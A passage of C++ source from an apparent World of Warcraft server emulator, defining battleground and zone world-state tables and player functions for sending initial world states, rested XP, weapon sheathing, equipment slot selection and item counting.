{ 0xab0, 0x0 }, // 2736 15 unk // 0 at start
{ 0xaaf, 0x0 }, // 2735 16 unk // 0 at start
{ 0xaad, 0x0 }, // 2733 17 Draenei - Horde control
{ 0xaac, 0x0 }, // 2732 18 Draenei - Alliance control
{ 0xaab, 0x1 }, // 2731 19 Draenei uncontrolled (1 - yes, 0 - no)
{ 0xaaa, 0x0 }, // 2730 20 Mage Tower - Alliance control
{ 0xaa9, 0x0 }, // 2729 21 Mage Tower - Horde control
{ 0xaa8, 0x1 }, // 2728 22 Mage Tower uncontrolled (1 - yes, 0 - no)
{ 0xaa7, 0x0 }, // 2727 23 Fel Reaver - Horde control
{ 0xaa6, 0x0 }, // 2726 24 Fel Reaver - Alliance control
{ 0xaa5, 0x1 }, // 2725 25 Fel Reaver uncontrolled (1 - yes, 0 - no)
{ 0xaa4, 0x0 }, // 2724 26 Boold Elf - Horde control
{ 0xaa3, 0x0 }, // 2723 27 Boold Elf - Alliance control
{ 0xaa2, 0x1 }, // 2722 28 Boold Elf uncontrolled (1 - yes, 0 - no)
{ 0xac5, 0x1 }, // 2757 29 Flag (1 - show, 0 - hide) - doesn't work exactly this way!
{ 0xad2, 0x1 }, // 2770 30 Horde top-stats (1 - show, 0 - hide) // 02 -> horde picked up the flag
{ 0xad1, 0x1 }, // 2769 31 Alliance top-stats (1 - show, 0 - hide) // 02 -> alliance picked up the flag
{ 0xabe, 0x0 }, // 2750 32 Horde resources
{ 0xabd, 0x0 }, // 2749 33 Alliance resources
{ 0xa05, 0x8e }, // 2565 34 unk, constant?
{ 0xaa0, 0x0 }, // 2720 35 Capturing progress-bar (100 -> empty (only grey), 0 -> blue|red (no grey), default 0)
{ 0xa9f, 0x0 }, // 2719 36 Capturing progress-bar (0 - left, 100 - right)
{ 0xa9e, 0x0 }, // 2718 37 Capturing progress-bar (1 - show, 0 - hide)
{ 0xc0d, 0x17b }, // 3085 38 unk
// and some more ... unknown
{ 0x0, 0x0 }
};
static WorldStatePair SI_world_states[] = // Silithus
{
{ 2313, 0x0 }, // 1 ally silityst gathered
{ 2314, 0x0 }, // 2 horde silityst gathered
{ 2317, 0x0 } // 3 max silithyst
};
static WorldStatePair EP_world_states[] =
{
{ 0x97a, 0x0 }, // 10 2426
{ 0x917, 0x0 }, // 11 2327
{ 0x918, 0x0 }, // 12 2328
{ 0x97b, 0x32 }, // 13 2427
{ 0x97c, 0x32 }, // 14 2428
{ 0x933, 0x1 }, // 15 2355
{ 0x946, 0x0 }, // 16 2374
{ 0x947, 0x0 }, // 17 2375
{ 0x948, 0x0 }, // 18 2376
{ 0x949, 0x0 }, // 19 2377
{ 0x94a, 0x0 }, // 20 2378
{ 0x94b, 0x0 }, // 21 2379
{ 0x932, 0x0 }, // 22 2354
{ 0x934, 0x0 }, // 23 2356
{ 0x935, 0x0 }, // 24 2357
{ 0x936, 0x0 }, // 25 2358
{ 0x937, 0x0 }, // 26 2359
{ 0x938, 0x0 }, // 27 2360
{ 0x939, 0x1 }, // 28 2361
{ 0x930, 0x1 }, // 29 2352
{ 0x93a, 0x0 }, // 30 2362
{ 0x93b, 0x0 }, // 31 2363
{ 0x93c, 0x0 }, // 32 2364
{ 0x93d, 0x0 }, // 33 2365
{ 0x944, 0x0 }, // 34 2372
{ 0x945, 0x0 }, // 35 2373
{ 0x931, 0x1 }, // 36 2353
{ 0x93e, 0x0 }, // 37 2366
{ 0x931, 0x1 }, // 38 2367 ?? grey horde not in dbc! send for consistency's sake, and to match field count
{ 0x940, 0x0 }, // 39 2368
{ 0x941, 0x0 }, // 7 2369
{ 0x942, 0x0 }, // 8 2370
{ 0x943, 0x0 } // 9 2371
};
static WorldStatePair HP_world_states[] = // Hellfire Peninsula
{
{ 0x9ba, 0x1 }, // 2490 10
{ 0x9b9, 0x1 }, // 2489 11
{ 0x9b5, 0x0 }, // 2485 12
{ 0x9b4, 0x1 }, // 2484 13
{ 0x9b3, 0x0 }, // 2483 14
{ 0x9b2, 0x0 }, // 2482 15
{ 0x9b1, 0x1 }, // 2481 16
{ 0x9b0, 0x0 }, // 2480 17
{ 0x9ae, 0x0 }, // 2478 18 horde pvp objectives captured
{ 0x9ac, 0x0 }, // 2476 19
{ 0x9a8, 0x0 }, // 2472 20
{ 0x9a7, 0x0 }, // 2471 21
{ 0x9a6, 0x1 }, // 2470 22
{ 0x0, 0x0 }
};
static WorldStatePair TF_world_states[] = // Terokkar Forest
{
{ 0xa41, 0x0 }, // 2625 10
{ 0xa40, 0x14 }, // 2624 11
{ 0xa3f, 0x0 }, // 2623 12
{ 0xa3e, 0x0 }, // 2622 13
{ 0xa3d, 0x5 }, // 2621 14
{ 0xa3c, 0x0 }, // 2620 15
{ 0xa87, 0x0 }, // 2695 16
{ 0xa86, 0x0 }, // 2694 17
{ 0xa85, 0x0 }, // 2693 18
{ 0xa84, 0x0 }, // 2692 19
{ 0xa83, 0x0 }, // 2691 20
{ 0xa82, 0x0 }, // 2690 21
{ 0xa81, 0x0 }, // 2689 22
{ 0xa80, 0x0 }, // 2688 23
{ 0xa7e, 0x0 }, // 2686 24
{ 0xa7d, 0x0 }, // 2685 25
{ 0xa7c, 0x0 }, // 2684 26
{ 0xa7b, 0x0 }, // 2683 27
{ 0xa7a, 0x0 }, // 2682 28
{ 0xa79, 0x0 }, // 2681 29
{ 0x9d0, 0x5 }, // 2512 30
{ 0x9ce, 0x0 }, // 2510 31
{ 0x9cd, 0x0 }, // 2509 32
{ 0x9cc, 0x0 }, // 2508 33
{ 0xa88, 0x0 }, // 2696 34
{ 0xad0, 0x0 }, // 2768 35
{ 0xacf, 0x1 }, // 2767 36
{ 0x0, 0x0 }
};
static WorldStatePair ZM_world_states[] = // Zangarmarsh
{
{ 0x9e1, 0x0 }, // 2529 10
{ 0x9e0, 0x0 }, // 2528 11
{ 0x9df, 0x0 }, // 2527 12
{ 0xa5d, 0x1 }, // 2526 13
{ 0xa5c, 0x0 }, // 2525 14
{ 0xa5b, 0x1 }, // 2524 15
{ 0xa5a, 0x0 }, // 2523 16
{ 0xa59, 0x1 }, // 2649 17
{ 0xa58, 0x0 }, // 2648 18
{ 0xa57, 0x0 }, // 2647 19
{ 0xa56, 0x0 }, // 2646 20
{ 0xa55, 0x1 }, // 2645 21
{ 0xa54, 0x0 }, // 2644 22
{ 0x9e7, 0x0 }, // 2535 23
{ 0x9e6, 0x0 }, // 2534 24
{ 0x9e5, 0x0 }, // 2533 25
{ 0xa00, 0x0 }, // 2560 26
{ 0x9ff, 0x1 }, // 2559 27
{ 0x9fe, 0x0 }, // 2558 28
{ 0x9fd, 0x0 }, // 2557 29
{ 0x9fc, 0x1 }, // 2556 30
{ 0x9fb, 0x0 }, // 2555 31
{ 0xa62, 0x0 }, // 2658 32
{ 0xa61, 0x1 }, // 2657 33
{ 0xa60, 0x1 }, // 2656 34
{ 0xa5f, 0x0 }, // 2655 35
{ 0x0, 0x0 }
};
static WorldStatePair NA_world_states[] =
{
{ 2503, 0x0 }, // 10
{ 2502, 0x0 }, // 11
{ 2493, 0x0 }, // 12
{ 2491, 0x0 }, // 13
{ 2495, 0x0 }, // 14
{ 2494, 0x0 }, // 15
{ 2497, 0x0 }, // 16
{ 2762, 0x0 }, // 17
{ 2662, 0x0 }, // 18
{ 2663, 0x0 }, // 19
{ 2664, 0x0 }, // 20
{ 2760, 0x0 }, // 21
{ 2670, 0x0 }, // 22
{ 2668, 0x0 }, // 23
{ 2669, 0x0 }, // 24
{ 2761, 0x0 }, // 25
{ 2667, 0x0 }, // 26
{ 2665, 0x0 }, // 27
{ 2666, 0x0 }, // 28
{ 2763, 0x0 }, // 29
{ 2659, 0x0 }, // 30
{ 2660, 0x0 }, // 31
{ 2661, 0x0 }, // 32
{ 2671, 0x0 }, // 33
{ 2676, 0x0 }, // 34
{ 2677, 0x0 }, // 35
{ 2672, 0x0 }, // 36
{ 2673, 0x0 } // 37
};
void Player::SendInitWorldStates(uint32 zoneid, uint32 areaid)
{
// data depends on zoneid/mapid...
BattleGround* bg = GetBattleGround();
uint32 mapid = GetMapId();
WorldPvP* outdoorBg = sWorldPvPMgr.GetWorldPvPToZoneId(zoneid);
DEBUG_LOG("Sending SMSG_INIT_WORLD_STATES to Map:%u, Zone: %u", mapid, zoneid);
uint32 count = 0; // count of world states in packet
WorldPacket data(SMSG_INIT_WORLD_STATES, (4+4+4+2+8*8));// guess
data << uint32(mapid); // mapid
data << uint32(zoneid); // zone id
data << uint32(areaid); // area id, new 2.1.0
size_t count_pos = data.wpos();
data << uint16(0); // count of uint64 blocks, placeholder
// common fields
FillInitialWorldState(data, count, 0x8d8, 0x0); // 2264 1
FillInitialWorldState(data, count, 0x8d7, 0x0); // 2263 2
FillInitialWorldState(data, count, 0x8d6, 0x0); // 2262 3
FillInitialWorldState(data, count, 0x8d5, 0x0); // 2261 4
FillInitialWorldState(data, count, 0x8d4, 0x0); // 2260 5
FillInitialWorldState(data, count, 0x8d3, 0x0); // 2259 6
// 3191 7 Current arena season
FillInitialWorldState(data, count, 0xC77, sWorld.getConfig(CONFIG_UINT32_ARENA_SEASON_ID));
// 3901 8 Previous arena season
FillInitialWorldState(data, count, 0xF3D, sWorld.getConfig(CONFIG_UINT32_ARENA_SEASON_PREVIOUS_ID));
FillInitialWorldState(data, count, 0xED9, 1); // 3801 9 0 - Battle for Wintergrasp in progress, 1 - otherwise
// 4354 10 Time when next Battle for Wintergrasp starts
FillInitialWorldState(data, count, 0x1102, uint32(time(NULL) + 9000));
if (mapid == 530) // Outland
{
FillInitialWorldState(data, count, 0x9bf, 0x0); // 2495
FillInitialWorldState(data, count, 0x9bd, 0xF); // 2493
FillInitialWorldState(data, count, 0x9bb, 0xF); // 2491
}
switch(zoneid)
{
case 1:
case 11:
case 12:
case 38:
case 40:
case 51:
break;
case 139: // Eastern plaguelands
if (outdoorBg && outdoorBg->GetTypeId() == WORLD_PVP_TYPE_EP)
outdoorBg->FillInitialWorldStates(data, count);
else
FillInitialWorldState(data, count, EP_world_states);
break;
case 1377: // Silithus
if (outdoorBg && outdoorBg->GetTypeId() == WORLD_PVP_TYPE_SI)
outdoorBg->FillInitialWorldStates(data, count);
else
FillInitialWorldState(data, count, SI_world_states);
break;
case 1519:
case 1537:
case 2257:
break;
case 2597: // AV
if (bg && bg->GetTypeID(true) == BATTLEGROUND_AV)
bg->FillInitialWorldStates(data, count);
else
FillInitialWorldState(data,count, AV_world_states);
break;
case 3277: // WS
if (bg && bg->GetTypeID(true) == BATTLEGROUND_WS)
bg->FillInitialWorldStates(data, count);
else
FillInitialWorldState(data,count, WS_world_states);
break;
case 3358: // AB
if (bg && bg->GetTypeID(true) == BATTLEGROUND_AB)
bg->FillInitialWorldStates(data, count);
else
FillInitialWorldState(data,count, AB_world_states);
break;
case 3820: // EY
if (bg && bg->GetTypeID(true) == BATTLEGROUND_EY)
bg->FillInitialWorldStates(data, count);
else
FillInitialWorldState(data,count, EY_world_states);
break;
case 3483: // Hellfire Peninsula
if (outdoorBg && outdoorBg->GetTypeId() == WORLD_PVP_TYPE_HP)
outdoorBg->FillInitialWorldStates(data,count);
else
FillInitialWorldState(data,count, HP_world_states);
break;
case 3518: // Nargrand - Halaa
if (outdoorBg && outdoorBg->GetTypeId() == WORLD_PVP_TYPE_NA)
outdoorBg->FillInitialWorldStates(data, count);
else
FillInitialWorldState(data, count, NA_world_states);
break;
case 3519: // Terokkar Forest
if (outdoorBg && outdoorBg->GetTypeId() == WORLD_PVP_TYPE_TF)
outdoorBg->FillInitialWorldStates(data,count);
else
FillInitialWorldState(data,count, TF_world_states);
break;
case 3521: // Zangarmarsh
if (outdoorBg && outdoorBg->GetTypeId() == WORLD_PVP_TYPE_ZM)
outdoorBg->FillInitialWorldStates(data,count);
else
FillInitialWorldState(data,count, ZM_world_states);
break;
case 3698: // Nagrand Arena
if (bg && bg->GetTypeID(true) == BATTLEGROUND_NA)
bg->FillInitialWorldStates(data, count);
else
{
FillInitialWorldState(data,count,0xa0f,0x0);// 2575 7
FillInitialWorldState(data,count,0xa10,0x0);// 2576 8
FillInitialWorldState(data,count,0xa11,0x0);// 2577 9 show
}
break;
case 3702: // Blade's Edge Arena
if (bg && bg->GetTypeID(true) == BATTLEGROUND_BE)
bg->FillInitialWorldStates(data, count);
else
{
FillInitialWorldState(data,count,0x9f0,0x0);// 2544 7 gold
FillInitialWorldState(data,count,0x9f1,0x0);// 2545 8 green
FillInitialWorldState(data,count,0x9f3,0x0);// 2547 9 show
}
break;
case 3968: // Ruins of Lordaeron
if (bg && bg->GetTypeID(true) == BATTLEGROUND_RL)
bg->FillInitialWorldStates(data, count);
else
{
FillInitialWorldState(data,count,0xbb8,0x0);// 3000 7 gold
FillInitialWorldState(data,count,0xbb9,0x0);// 3001 8 green
FillInitialWorldState(data,count,0xbba,0x0);// 3002 9 show
}
break;
case 4378: // Dalaran Severs
if (bg && bg->GetTypeID() == BATTLEGROUND_DS)
bg->FillInitialWorldStates(data, count);
else
{
FillInitialWorldState(data,count,0xe11,0x0);// 7 gold
FillInitialWorldState(data,count,0xe10,0x0);// 8 green
FillInitialWorldState(data,count,0xe1a,0x0);// 9 show
}
break;
case 4406: // Ring of Valor
if (bg && bg->GetTypeID() == BATTLEGROUND_RV)
bg->FillInitialWorldStates(data, count);
else
{
FillInitialWorldState(data,count,0xe11,0x0);// 7 gold
FillInitialWorldState(data,count,0xe10,0x0);// 8 green
FillInitialWorldState(data,count,0xe1a,0x0);// 9 show
}
break;
case 3703: // Shattrath City
break;
case 4384: // SA
if (bg && bg->GetTypeID(true) == BATTLEGROUND_SA)
bg->FillInitialWorldStates(data, count);
else
{
// 1-3 A defend, 4-6 H defend, 7-9 unk defend, 1 - ok, 2 - half destroyed, 3 - destroyed
data << uint32(0xf09) << uint32(0x4); // 7 3849 Gate of Temple
data << uint32(0xe36) << uint32(0x4); // 8 3638 Gate of Yellow Moon
data << uint32(0xe27) << uint32(0x4); // 9 3623 Gate of Green Emerald
data << uint32(0xe24) << uint32(0x4); // 10 3620 Gate of Blue Sapphire
data << uint32(0xe21) << uint32(0x4); // 11 3617 Gate of Red Sun
data << uint32(0xe1e) << uint32(0x4); // 12 3614 Gate of Purple Ametyst
data << uint32(0xdf3) << uint32(0x0); // 13 3571 bonus timer (1 - on, 0 - off)
data << uint32(0xded) << uint32(0x0); // 14 3565 Horde Attacker
data << uint32(0xdec) << uint32(0x1); // 15 3564 Alliance Attacker
// End Round (timer), better explain this by example, eg. ends in 19:59 -> A:BC
data << uint32(0xde9) << uint32(0x9); // 16 3561 C
data << uint32(0xde8) << uint32(0x5); // 17 3560 B
data << uint32(0xde7) << uint32(0x19); // 18 3559 A
data << uint32(0xe35) << uint32(0x1); // 19 3637 East g - Horde control
data << uint32(0xe34) << uint32(0x1); // 20 3636 West g - Horde control
data << uint32(0xe33) << uint32(0x1); // 21 3635 South g - Horde control
data << uint32(0xe32) << uint32(0x0); // 22 3634 East g - Alliance control
data << uint32(0xe31) << uint32(0x0); // 23 3633 West g - Alliance control
data << uint32(0xe30) << uint32(0x0); // 24 3632 South g - Alliance control
data << uint32(0xe2f) << uint32(0x1); // 25 3631 Chamber of Ancients - Horde control
data << uint32(0xe2e) << uint32(0x0); // 26 3630 Chamber of Ancients - Alliance control
data << uint32(0xe2d) << uint32(0x0); // 27 3629 Beach1 - Horde control
data << uint32(0xe2c) << uint32(0x0); // 28 3628 Beach2 - Horde control
data << uint32(0xe2b) << uint32(0x1); // 29 3627 Beach1 - Alliance control
data << uint32(0xe2a) << uint32(0x1); // 30 3626 Beach2 - Alliance control
// and many unks...
}
break;
case 4710:
if (bg && bg->GetTypeID(true) == BATTLEGROUND_IC)
bg->FillInitialWorldStates(data, count);
else
{
data << uint32(4221) << uint32(1); // 7
data << uint32(4222) << uint32(1); // 8
data << uint32(4226) << uint32(300); // 9
data << uint32(4227) << uint32(300); // 10
data << uint32(4322) << uint32(1); // 11
data << uint32(4321) << uint32(1); // 12
data << uint32(4320) << uint32(1); // 13
data << uint32(4323) << uint32(1); // 14
data << uint32(4324) << uint32(1); // 15
data << uint32(4325) << uint32(1); // 16
data << uint32(4317) << uint32(1); // 17
data << uint32(4301) << uint32(1); // 18
data << uint32(4296) << uint32(1); // 19
data << uint32(4306) << uint32(1); // 20
data << uint32(4311) << uint32(1); // 21
data << uint32(4294) << uint32(1); // 22
data << uint32(4243) << uint32(1); // 23
data << uint32(4345) << uint32(1); // 24
}
break;
default:
FillInitialWorldState(data,count, 0x914, 0x0); // 2324 7
FillInitialWorldState(data,count, 0x913, 0x0); // 2323 8
FillInitialWorldState(data,count, 0x912, 0x0); // 2322 9
FillInitialWorldState(data,count, 0x915, 0x0); // 2325 10
break;
}
FillBGWeekendWorldStates(data,count);
data.put<uint16>(count_pos,count); // set actual world state amount
GetSession()->SendPacket(&data);
}
void Player::FillBGWeekendWorldStates(WorldPacket& data, uint32& count)
{
for(uint32 i = 1; i < sBattlemasterListStore.GetNumRows(); ++i)
{
BattlemasterListEntry const * bl = sBattlemasterListStore.LookupEntry(i);
if (bl && bl->HolidayWorldStateId)
{
if (BattleGroundMgr::IsBGWeekend(BattleGroundTypeId(bl->id)))
FillInitialWorldState(data, count, bl->HolidayWorldStateId, 1);
else
FillInitialWorldState(data, count, bl->HolidayWorldStateId, 0);
}
}
}
uint32 Player::GetXPRestBonus(uint32 xp)
{
uint32 rested_bonus = (uint32)GetRestBonus(); // xp for each rested bonus
if (rested_bonus > xp) // max rested_bonus == xp or (r+x) = 200% xp
rested_bonus = xp;
SetRestBonus( GetRestBonus() - rested_bonus);
DETAIL_LOG("Player gain %u xp (+ %u Rested Bonus). Rested points=%f",xp+rested_bonus,rested_bonus,GetRestBonus());
return rested_bonus;
}
void Player::SetBindPoint(ObjectGuid guid)
{
WorldPacket data(SMSG_BINDER_CONFIRM, 8);
data << ObjectGuid(guid);
GetSession()->SendPacket( &data );
}
void Player::SendTalentWipeConfirm(ObjectGuid guid)
{
WorldPacket data(MSG_TALENT_WIPE_CONFIRM, (8+4));
data << ObjectGuid(guid);
data << uint32(resetTalentsCost());
GetSession()->SendPacket( &data );
}
void Player::SendPetSkillWipeConfirm()
{
Pet* pet = GetPet();
if(!pet)
return;
if (pet->getPetType() != HUNTER_PET || pet->m_usedTalentCount == 0)
return;
CharmInfo* charmInfo = pet->GetCharmInfo();
if (!charmInfo)
{
sLog.outError("WorldSession::HandlePetUnlearnOpcode: %s is considered pet-like but doesn't have a charminfo!", pet->GetGuidStr().c_str());
return;
}
pet->resetTalents();
SendTalentsInfoData(true);
}
/*********************************************************/
/*** STORAGE SYSTEM ***/
/*********************************************************/
void Player::SetVirtualItemSlot( uint8 i, Item* item)
{
MANGOS_ASSERT(i < 3);
if (i < 2 && item)
{
if(!item->GetEnchantmentId(TEMP_ENCHANTMENT_SLOT))
return;
uint32 charges = item->GetEnchantmentCharges(TEMP_ENCHANTMENT_SLOT);
if (charges == 0)
return;
if (charges > 1)
item->SetEnchantmentCharges(TEMP_ENCHANTMENT_SLOT,charges-1);
else if (charges <= 1)
{
ApplyEnchantment(item,TEMP_ENCHANTMENT_SLOT,false);
item->ClearEnchantment(TEMP_ENCHANTMENT_SLOT);
}
}
}
void Player::SetSheath( SheathState sheathed )
{
switch (sheathed)
{
case SHEATH_STATE_UNARMED: // no prepared weapon
SetVirtualItemSlot(0,NULL);
SetVirtualItemSlot(1,NULL);
SetVirtualItemSlot(2,NULL);
break;
case SHEATH_STATE_MELEE: // prepared melee weapon
{
SetVirtualItemSlot(0,GetWeaponForAttack(BASE_ATTACK,true,true));
SetVirtualItemSlot(1,GetWeaponForAttack(OFF_ATTACK,true,true));
SetVirtualItemSlot(2,NULL);
}; break;
case SHEATH_STATE_RANGED: // prepared ranged weapon
SetVirtualItemSlot(0,NULL);
SetVirtualItemSlot(1,NULL);
SetVirtualItemSlot(2,GetWeaponForAttack(RANGED_ATTACK,true,true));
break;
default:
SetVirtualItemSlot(0,NULL);
SetVirtualItemSlot(1,NULL);
SetVirtualItemSlot(2,NULL);
break;
}
Unit::SetSheath(sheathed); // this must visualize Sheath changing for other players...
}
uint8 Player::FindEquipSlot( ItemPrototype const* proto, uint32 slot, bool swap ) const
{
uint8 pClass = getClass();
uint8 slots[4];
slots[0] = NULL_SLOT;
slots[1] = NULL_SLOT;
slots[2] = NULL_SLOT;
slots[3] = NULL_SLOT;
switch( proto->InventoryType )
{
case INVTYPE_HEAD:
slots[0] = EQUIPMENT_SLOT_HEAD;
break;
case INVTYPE_NECK:
slots[0] = EQUIPMENT_SLOT_NECK;
break;
case INVTYPE_SHOULDERS:
slots[0] = EQUIPMENT_SLOT_SHOULDERS;
break;
case INVTYPE_BODY:
slots[0] = EQUIPMENT_SLOT_BODY;
break;
case INVTYPE_CHEST:
slots[0] = EQUIPMENT_SLOT_CHEST;
break;
case INVTYPE_ROBE:
slots[0] = EQUIPMENT_SLOT_CHEST;
break;
case INVTYPE_WAIST:
slots[0] = EQUIPMENT_SLOT_WAIST;
break;
case INVTYPE_LEGS:
slots[0] = EQUIPMENT_SLOT_LEGS;
break;
case INVTYPE_FEET:
slots[0] = EQUIPMENT_SLOT_FEET;
break;
case INVTYPE_WRISTS:
slots[0] = EQUIPMENT_SLOT_WRISTS;
break;
case INVTYPE_HANDS:
slots[0] = EQUIPMENT_SLOT_HANDS;
break;
case INVTYPE_FINGER:
slots[0] = EQUIPMENT_SLOT_FINGER1;
slots[1] = EQUIPMENT_SLOT_FINGER2;
break;
case INVTYPE_TRINKET:
slots[0] = EQUIPMENT_SLOT_TRINKET1;
slots[1] = EQUIPMENT_SLOT_TRINKET2;
break;
case INVTYPE_CLOAK:
slots[0] = EQUIPMENT_SLOT_BACK;
break;
case INVTYPE_WEAPON:
{
slots[0] = EQUIPMENT_SLOT_MAINHAND;
// suggest offhand slot only if know dual wielding
// (this will be replace mainhand weapon at auto equip instead unwonted "you don't known dual wielding" ...
if (CanDualWield())
slots[1] = EQUIPMENT_SLOT_OFFHAND;
break;
};
case INVTYPE_SHIELD:
slots[0] = EQUIPMENT_SLOT_OFFHAND;
break;
case INVTYPE_RANGED:
slots[0] = EQUIPMENT_SLOT_RANGED;
break;
case INVTYPE_2HWEAPON:
slots[0] = EQUIPMENT_SLOT_MAINHAND;
if (CanDualWield() && CanTitanGrip())
slots[1] = EQUIPMENT_SLOT_OFFHAND;
break;
case INVTYPE_TABARD:
slots[0] = EQUIPMENT_SLOT_TABARD;
break;
case INVTYPE_WEAPONMAINHAND:
slots[0] = EQUIPMENT_SLOT_MAINHAND;
break;
case INVTYPE_WEAPONOFFHAND:
slots[0] = EQUIPMENT_SLOT_OFFHAND;
break;
case INVTYPE_HOLDABLE:
slots[0] = EQUIPMENT_SLOT_OFFHAND;
break;
case INVTYPE_THROWN:
slots[0] = EQUIPMENT_SLOT_RANGED;
break;
case INVTYPE_RANGEDRIGHT:
slots[0] = EQUIPMENT_SLOT_RANGED;
break;
case INVTYPE_BAG:
slots[0] = INVENTORY_SLOT_BAG_START + 0;
slots[1] = INVENTORY_SLOT_BAG_START + 1;
slots[2] = INVENTORY_SLOT_BAG_START + 2;
slots[3] = INVENTORY_SLOT_BAG_START + 3;
break;
case INVTYPE_RELIC:
{
switch(proto->SubClass)
{
case ITEM_SUBCLASS_ARMOR_LIBRAM:
if (pClass == CLASS_PALADIN)
slots[0] = EQUIPMENT_SLOT_RANGED;
break;
case ITEM_SUBCLASS_ARMOR_IDOL:
if (pClass == CLASS_DRUID)
slots[0] = EQUIPMENT_SLOT_RANGED;
break;
case ITEM_SUBCLASS_ARMOR_TOTEM:
if (pClass == CLASS_SHAMAN)
slots[0] = EQUIPMENT_SLOT_RANGED;
break;
case ITEM_SUBCLASS_ARMOR_MISC:
if (pClass == CLASS_WARLOCK)
slots[0] = EQUIPMENT_SLOT_RANGED;
break;
case ITEM_SUBCLASS_ARMOR_SIGIL:
if (pClass == CLASS_DEATH_KNIGHT)
slots[0] = EQUIPMENT_SLOT_RANGED;
break;
}
break;
}
default :
return NULL_SLOT;
}
if ( slot != NULL_SLOT )
{
if ( swap || !GetItemByPos( INVENTORY_SLOT_BAG_0, slot ) )
{
for (int i = 0; i < 4; ++i)
{
if ( slots[i] == slot )
return slot;
}
}
}
else
{
// search free slot at first
for (int i = 0; i < 4; ++i)
{
if ( slots[i] != NULL_SLOT && !GetItemByPos( INVENTORY_SLOT_BAG_0, slots[i] ) )
{
// in case 2hand equipped weapon (without titan grip) offhand slot empty but not free
if (slots[i]!=EQUIPMENT_SLOT_OFFHAND || !IsTwoHandUsed())
return slots[i];
}
}
// if not found free and can swap return first appropriate from used
for (int i = 0; i < 4; ++i)
{
if ( slots[i] != NULL_SLOT && swap )
return slots[i];
}
}
// no free position
return NULL_SLOT;
}
InventoryResult Player::CanUnequipItems( uint32 item, uint32 count ) const
{
Item *pItem;
uint32 tempcount = 0;
InventoryResult res = EQUIP_ERR_OK;
for(int i = EQUIPMENT_SLOT_START; i < INVENTORY_SLOT_BAG_END; ++i)
{
pItem = GetItemByPos( INVENTORY_SLOT_BAG_0, i );
if ( pItem && pItem->GetEntry() == item )
{
InventoryResult ires = CanUnequipItem(INVENTORY_SLOT_BAG_0 << 8 | i, false);
if (ires == EQUIP_ERR_OK)
{
tempcount += pItem->GetCount();
if ( tempcount >= count )
return EQUIP_ERR_OK;
}
else
res = ires;
}
}
for(int i = INVENTORY_SLOT_ITEM_START; i < INVENTORY_SLOT_ITEM_END; ++i)
{
pItem = GetItemByPos( INVENTORY_SLOT_BAG_0, i );
if ( pItem && pItem->GetEntry() == item )
{
tempcount += pItem->GetCount();
if ( tempcount >= count )
return EQUIP_ERR_OK;
}
}
for(int i = KEYRING_SLOT_START; i < CURRENCYTOKEN_SLOT_END; ++i)
{
pItem = GetItemByPos( INVENTORY_SLOT_BAG_0, i );
if ( pItem && pItem->GetEntry() == item )
{
tempcount += pItem->GetCount();
if ( tempcount >= count )
return EQUIP_ERR_OK;
}
}
Bag *pBag;
for(int i = INVENTORY_SLOT_BAG_START; i < INVENTORY_SLOT_BAG_END; ++i)
{
pBag = (Bag*)GetItemByPos( INVENTORY_SLOT_BAG_0, i );
if ( pBag )
{
for(uint32 j = 0; j < pBag->GetBagSize(); ++j)
{
pItem = GetItemByPos( i, j );
if ( pItem && pItem->GetEntry() == item )
{
tempcount += pItem->GetCount();
if ( tempcount >= count )
return EQUIP_ERR_OK;
}
}
}
}
// not found req. item count and have unequippable items
return res;
}
uint32 Player::GetItemCount(uint32 item, bool inBankAlso, Item* skipItem) const
{
uint32 count = 0;
for(int i = EQUIPMENT_SLOT_START; i < INVENTORY_SLOT_ITEM_END; ++i)
{
Item *pItem = GetItemByPos( INVENTORY_SLOT_BAG_0, i );
if ( pItem && pItem != skipItem && pItem->GetEntry() == item )
count += pItem->GetCount();
}
for(int i = KEYRING_SLOT_START; i < CURRENCYTOKEN_SLOT_END; ++i)
{
Item *pItem = GetItemByPos( INVENTORY_SLOT_BAG_0, i );
if ( pItem && pItem != skipItem && pItem->GetEntry() == item )
count += pItem->GetCount();
}
for(int i = INVENTORY_SLOT_BAG_START; i < INVENTORY_SLOT_BAG_END; ++i)
{
Bag* pBag = (Bag*)GetItemByPos( INVENTORY_SLOT_BAG_0, i );
if ( pBag )
count += pBag->GetItemCount(item,skipItem);
}
if (skipItem && skipItem->GetProto()->GemProperties)
{
for(int i = EQUIPMENT_SLOT_START; i < INVENTORY_SLOT_ITEM_END; ++i)
{
Item *pItem = GetItemByPos( INVENTORY_SLOT_BAG_0, i );
if ( pItem && pItem != skipItem && pItem->GetProto()->Socket[0].Color )
count += pItem->GetGemCountWithID(item);
}
}
if (inBankAlso)
{
for(int i = BANK_SLOT_ITEM_START; i < BANK_SLOT_ITEM_END; ++i)
{
Item* pItem = GetItemByPos( INVENTORY_SLOT_BAG_0, i );
if ( pItem && pItem != skipItem && pItem->GetEntry() == item )
count += pItem->GetCount();
}
for(int i = BANK_SLOT_BAG_START; i < BANK_SLOT_BAG_END; ++i)
{
Bag* pBag = (Bag*)GetItemByPos( INVENTORY_SLOT_BAG_0, i );
if ( pBag )
count += pBag->GetItemCount(item,skipItem);
}
if (skipItem && skipItem->GetProto()->GemProperties)
{
for(int i = BANK_SLOT_ITEM_START; i < BANK_SLOT_ITEM_END; ++i)
{
Item* pItem = GetItemByPos( INVENTORY_SLOT_BAG_0, i );
if ( pItem && pItem != skipItem && pItem->GetProto()->Socket[0].Color )
count += pItem->GetGemCountWithID(item);
}
}
}
return count;
}
uint32 Player::GetItemCountWithLimitCategory( uint32 limitCategory, Item* skipItem) const
{
uint32 count = 0;
for(int i = EQUIPMENT_SLOT_START; i < INVENTORY_SLOT_ITEM_END; ++i)
if (Item *pItem = GetItemByPos(INVENTORY_SLOT_BAG_0, i))
if (pItem->GetProto()->ItemLimitCategory == limitCategory && pItem != skipItem)
count += pItem->GetCount();
for(int i = KEYRING_SLOT_START; i < CURRENCYTOKEN_SLOT_END; ++i)
if (Item *pItem = GetItemByPos(INVENTORY_SLOT_BAG_0, i))
if (pItem->GetProto()->ItemLimitCategory == limitCategory && pItem != skipItem)
count += pItem->GetCount();
for(int i = INVENTORY_SLOT_BAG_START; i < INVENTORY_SLOT_BAG_END; ++i)
if (Bag* pBag = (Bag*)GetItemByPos(INVENTORY_SLOT_BAG_0, i))
count += pBag->GetItemCountWithLimitCategory(limitCategory, skipItem);
for(int i = BANK_SLOT_ITEM_START; i < BANK_SLOT_ITEM_END; ++i)
if (Item *pItem = GetItemByPos(INVENTORY_SLOT_BAG_0, i))
if (pItem->GetProto()->ItemLimitCategory == limitCategory && pItem != skipItem)
count += pItem->GetCount();
